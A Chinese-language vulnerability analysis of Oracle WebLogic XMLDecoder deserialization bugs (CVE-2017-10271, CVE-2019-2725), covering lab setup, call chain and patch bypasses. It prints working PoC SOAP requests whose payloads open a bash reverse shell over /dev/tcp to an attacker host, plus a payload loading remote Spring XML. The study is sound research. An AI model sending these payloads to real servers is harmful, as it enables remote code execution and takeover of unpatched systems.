关于
Oracle WebLogic Server(以下简称WebLogic)是一个可扩展的企业级Java平台(Java EE)应用服务器。其完整实现了Java EE 5.0规范,并且支持部署多种类型的分布式应用程序。
版本
一般使用的是10.3.6
这两个大版本也叫WebLogic Server 11g和WebLogic Server 12c。
CVE-2017-10271
漏洞描述
漏洞引发的原因是Weblogic“wls-wsat”组件在反序列化操作时使用了Oracle官方的JDK组件中“XMLDecoder”类进行XML反序列化操作引发了代码执行
XMLDecoder 类用于读取使用 XMLEncoder 创建的 XML 文档
一个例子
Test.java1
2
3
4
5
6
7
8
9
10
11
12
13
14import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
public class XmlTest {
public static void main(String[] args) throws FileNotFoundException {
XMLDecoder d = new XMLDecoder(
new BufferedInputStream(
new FileInputStream("/Users/hu3sky/IdeaProjects/Reflect/out/production/Reflect/Test.xml")));
Object result = d.readObject();
d.close();
}
}
Test.xml(也就是后面的poc里的xml)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>/bin/sh -i > /dev/tcp/47.108.89.178/1234 2<&1 0<&1</string>
</void>
</array>
<void method="start"/></void>
</java>
反序列化后
xmldecoder支持的标签,在/Library/Java/JavaVirtualMachines/jdk1.8.0_221.jdk/Contents/Home/jre/lib/rt.jar!/com/sun/beans/decoder/DocumentHandler.class#DocumentHandler
环境搭建
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271
需要远程动态调试,修改docker-compose1
2
3
4
5
6
7
8
9
10
11version: '2'
services:
weblogic:
image: vulhub/weblogic
ports:
- "7001:7001"
- "8453:8453"
links:
- web
web:
image: vulhub/thinkphp:5.0.20
docker-compose up -d
出现如下页面
修改/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh
文件
添加1
2debugFlag="true"
export debugFlag
并且运行该sh,并且重启容器,成功开启
将源码拉出来1
2root@vultr:~# docker cp 3f5463222074:/root/Oracle/Middleware/wlserver_10.3 ./WebLogic_jars
root@vultr:~# docker cp 3f5463222074:/root/Oracle/Middleware/modules ./modules
把/server/lib和modules都添加到Library里
添加一个Reomte
修改
测试能否击中断点
漏洞复现
poc1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1:7001
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Content-Type: text/xml;charset=UTF-8
Content-Length: 648
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>/bin/sh -i > /dev/tcp/xxx.xxx.xxx.xx/1234 2<&1 0<&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
漏洞分析
根据poc发现问题出在wls-wsat
通过回显报错看出调用链如下
在/server/lib/wls-wsat.war!/WEB-INF/web.xml
直接看到调用栈第一个/server/lib/weblogic.jar!/weblogic/wsee/jaxws/workcontext/WorkContextServerTube.class:processRequest
var3是soap头部解析的结果 不为空 于是 跟入readHeaderOld
实例化了WorkContextXmlInputAdapter
ByteArrayOutputStream var4
的内容是
也就是poc的关键部分
接着跟进receive
var2获取了一个WorkContextMapImpl实例,并且调用了receiveRequest方法,将var1的值传入
继续跟进receiveRequest
接着跟入readEntry
再跟入readUTF
调用了XMLDecoder
的readObject
。这里会反序列化xml
解析xml的调用栈
补丁分析
针对CVE-2017-3506
在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java
增加了1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch (ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXException var6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOException var7) {
throw new IllegalStateException("Parser Exception", var7);
}
}
在解析xml的过程中,如果Element字段值为Object就抛出异常,这是针对10271之前的,看看直接的payload1
2
3
4
5<java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
...
</java>
这里的标签就出现了object,再看看10271的1
2
3
4
5<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
...
</java>
这就被绕过了
针对 CVE-2017-10271
1 | public WorkContextXmlInputAdapter(InputStream var1) { |
补充了validate
函数,对于object
,new
,method
,void
,array
字段抛出异常,无法生成java
实例
CVE-2019-2725(wls9_async组件)
受影响版本
Oracle WebLogic Server 10.*
Oracle WebLogic Server 12.1.3
poc1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30POST /_async/AsyncResponseService HTTP/1.1
Host: localhost:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Content-Length: 728
Cookie: remember-me=MXPUSANQRVaBJYtUucUgmQ==
Connection: close
Upgrade-Insecure-Requests: 1
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<class><string>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext</string>
<void>
<string>http://xxxx</string>
</void>
</class>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body>
</soapenv:Envelope>
class标签可以实例化类,而class标签并没有在黑名单中
绕过的主要原因就是因为补丁对于void
和array
标签的检测
1 | if (var3.equalsIgnoreCase("void")) { |
这里先检测了void标签,接着做了一个for循环,当属性为空的时候,能直接绕过。也就不会进入异常